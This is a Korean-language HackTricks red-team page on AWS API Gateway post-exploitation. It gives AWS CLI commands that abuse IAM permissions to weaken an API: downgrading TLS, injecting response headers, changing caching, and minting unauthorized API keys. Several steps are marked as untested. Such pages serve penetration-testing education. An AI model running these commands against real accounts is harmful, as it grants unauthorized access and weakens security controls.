AWS - API Gateway Post Exploitation

htARTE (HackTricks AWS Red Team 전문가)를 통해 AWS 해킹을 처음부터 전문가까지 배우세요!

HackTricks를 지원하는 다른 방법:

API Gateway

더 많은 정보를 확인하려면:

pageAWS - API Gateway Enum

미노출된 API에 액세스

https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint에서 서비스 com.amazonaws.us-east-1.execute-api를 사용하여 엔드포인트를 생성하고, 액세스할 수 있는 네트워크에 엔드포인트를 노출시킨 후(아마도 EC2 머신을 통해), 모든 연결을 허용하는 보안 그룹을 할당합니다. 그런 다음 EC2 머신에서 엔드포인트에 액세스하여 이전에 노출되지 않았던 게이트웨이 API를 호출할 수 있습니다.

사용 계획 DoS

열거 섹션에서 키의 사용 계획을 얻는 방법을 볼 수 있습니다. 키가 월별 X회 사용으로 제한되어 있다면, 그것을 사용하여 DoS를 유발할 수 있습니다.

API 키는 **x-api-key**라는 HTTP 헤더 안에 포함되어 있어야 합니다.

apigateway:UpdateGatewayResponse, apigateway:CreateDeployment

apigateway:UpdateGatewayResponseapigateway:CreateDeployment 권한을 가진 공격자는 기존 게이트웨이 응답을 수정하여 민감한 정보를 노출하거나 악의적인 스크립트를 실행하는 사용자 정의 헤더 또는 응답 템플릿을 포함할 수 있습니다.

API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"

# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

잠재적인 영향: 민감한 정보 누출, 악의적 스크립트 실행 또는 API 리소스에 대한 무단 액세스.

테스트 필요

apigateway:UpdateStage, apigateway:CreateDeployment

apigateway:UpdateStageapigateway:CreateDeployment 권한을 가진 공격자는 기존 API Gateway 단계를 수정하여 트래픽을 다른 단계로 리디렉션하거나 캐싱 설정을 변경하여 캐시된 데이터에 무단 액세스를 얻을 수 있습니다.

API_ID="your-api-id"
STAGE_NAME="Prod"

# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

잠재적인 영향: 캐시된 데이터에 대한 무단 액세스, API 트래픽 방해 또는 가로채기.

테스트 필요

apigateway:PutMethodResponse, apigateway:CreateDeployment

apigateway:PutMethodResponseapigateway:CreateDeployment 권한을 가진 공격자는 기존 API Gateway REST API 메소드의 메소드 응답을 수정하여 민감한 정보를 노출하거나 악성 스크립트를 실행하는 사용자 정의 헤더 또는 응답 템플릿을 포함시킬 수 있습니다.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"

# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

잠재적 영향: 민감한 정보 누출, 악성 스크립트 실행 또는 API 리소스에 대한 미인가된 액세스.

테스트 필요

apigateway:UpdateRestApi, apigateway:CreateDeployment

apigateway:UpdateRestApiapigateway:CreateDeployment 권한을 가진 공격자는 API Gateway REST API 설정을 수정하여 로깅을 비활성화하거나 최소 TLS 버전을 변경하여 API의 보안을 약화시킬 수 있습니다.

API_ID="your-api-id"

# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

잠재적 영향: API의 보안이 약화되어, 무단 액세스를 허용하거나 민감한 정보를 노출시킬 수 있음.

테스트 필요

apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey

apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, 및 apigateway:CreateUsagePlanKey 권한을 가진 공격자는 새 API 키를 생성하고, 사용 계획과 연결한 후 이러한 키를 사용하여 API에 무단 액세스할 수 있습니다.

# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')

# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')

# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY

잠재적 영향: API 리소스에 대한 무단 액세스, 보안 제어 우회.

테스트 필요

htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅까지 AWS 해킹 배우기!

HackTricks를 지원하는 다른 방법:

最終更新